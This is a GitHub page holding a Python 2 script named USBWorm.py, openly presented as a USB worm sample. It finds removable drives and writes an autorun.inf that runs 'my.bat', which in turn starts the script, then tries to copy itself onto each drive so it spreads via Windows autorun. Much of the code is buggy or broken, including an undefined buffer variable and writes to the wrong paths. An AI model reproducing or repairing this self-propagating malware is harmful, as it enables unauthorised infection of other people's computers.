USB-Worm_Python/USBWorm.py at master · linkp2p/USB-Worm_Python · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
import os, time, serial
from serial import SerialException
from datetime import datetime
startTime = time.time()
print """''''''''''''''''''''''''''''''
' USB Worm for Python Sample '
''''''''''''''''''''''''''''''
'                            '
'   Testing Version 0.07     '
'                            '
''''''''''''''''''''''''''''''
'   For Windows, OSX, Linux  '
''''''''''''''''''''''''''''''
'   Linux and OSX Broken     '
''''''''''''''''''''''''''''''"""
#Simple USB Worm#

time.sleep(6)
def USBDetect():
	global textfile
	if os.name == 'posix':
		print "Found Unix, Linux, OSX, or Other POSIX System...\n"
		try:
			textfile = "\text.txt"
			USBDir = [serial.Serial('/dev/sdb1'), serial.Serial('/dev/sdb2'), serial.Serial('/dev/sdb3'), serial.Serial('/dev/sdc1'), serial.Serial('/dev/sdc2'), serial.Serial('/dev/sdc3')]
		except SerialException:
			Error = True
			print "Permission Error"
			if Error == True:
				finished = time.time() - startTime
				print "Time to execute worm: %s" % finished
				exit()
	else:
		if os.name == 'nt':
			print "Found Windows...\n"
			USBDir = ['E:\\', 'F:\\', 'G:\\', 'H:\\', 'I:\\']
			textfile = "text.txt"
	lencount = len(USBDir)
	lencount -= 1
	global USBList
	USBList = []
	while lencount >= 0:
		time.sleep(2)
		try:
			if os.path.exists(USBDir[lencount]):
				USBList.append(USBDir[lencount])
				print "Found %s\n" % USBDir[lencount]
				lencount -= 1
			else:
				print "No USB Detected"
				lencount -= 1
		except serial.serialutil.SerialException or IOError:
			print ""
USBDetect()
print "\nUSB's Detected: %s\n" % USBList

def AnyUSB():
	if USBList == []:
		print "No USB's Detected at this time...exiting...\n"
		finished = time.time() - startTime
		print "Time to execute worm: %s" % finished
		exit()
	else:
		print ""
AnyUSB()

def USBrw():
	USBCount = len(USBList)
	USBCount -= 1
	while USBCount >= 0:
		fullname = os.path.join(USBList[USBCount], textfile)
		try:
			fp = open(fullname, 'a')
			fp.close()
			print "Successfully Wrote File... %s" % USBList[USBCount]
			os.remove(fullname)
			USBCount -= 1
		except IOError:
			print "Permission Error Writing Test File... %s\n" % USBList[USBCount]
			USBCount -= 1
USBrw()
def WinBat():
	print "Running WinWorm Module...Will exit if not Windows...\n"
	time.sleep(2)
	USBCount = len(USBList)
	USBCount -= 1
	while USBCount >= 0:
		batch = 'my.bat'
		fullname = os.path.join(USBList[USBCount], batch)
		try:
			if os.name == 'nt':
				fp = open(batch, 'w+')
				time.sleep(1)
				command = "start C:\Python27\python.exe USBWorm.py"
				fp.write(command)
				fp.close
				USBCount -= 1
			else:
				print "Not Windows..."
				break
		except IOError:
			print "Permission Error Writing Test File... %s\n" % USBList[USBCount]
			USBCount -= 1
def WinAuto():
	USBCount = len(USBList)
	USBCount -= 1
	while USBCount >= 0:
		autorun = 'autorun.inf'
		fullname = os.path.join(USBList[USBCount], autorun)
		try:
			if os.name == 'nt':
				fp = open(autorun, 'w+')
				time.sleep(1)
				autow = '[autorun]'
				autow1 = 'open = my.bat'
				autow2 = 'action = Run my program'
				autow3 = 'icon = '
				fp.write(autow)
				fp.write('\n')
				fp.write(autow1)
				fp.write('\n')
				fp.write(autow2)
				fp.write('\n')
				fp.write(autow3)
				fp.close()
				USBCount -= 1

			else:
				print "Not Windows..."
				break
		except IOError:
			print "Permission Error Writing Test File... %s\n" % USBList[USBCount]
			USBCount -= 1
WinBat()
WinAuto()
def WinWorm():
	USBCount = len(USBList)
	USBCount -= 1
	while USBCount >= 0:
		me = __file__
		fullname = os.path.join(USBList[USBCount], me)
		try:
			if os.name == 'nt':
				fp = open(me, 'r')
				fp2 = open(fullname, 'w+')
				fp3 = open(bufferfp, 'w+')
				time.sleep(1)
				for data in fp.readlines():
					fp.close()
					fp3.write(data)
					for data2 in fp3.readlines():
						fp3.close()
						fp2.write(data2)
						fp2.close()
						USBCount -= 1
			else:
				print "Not Windows..."
				break
		except IOError:
			print "Permission Error Writing Test File... %s\n" % USBList[USBCount]
			USBCount -= 1
WinWorm()
finished = time.time() - startTime
print "Time to execute worm: %s" % finished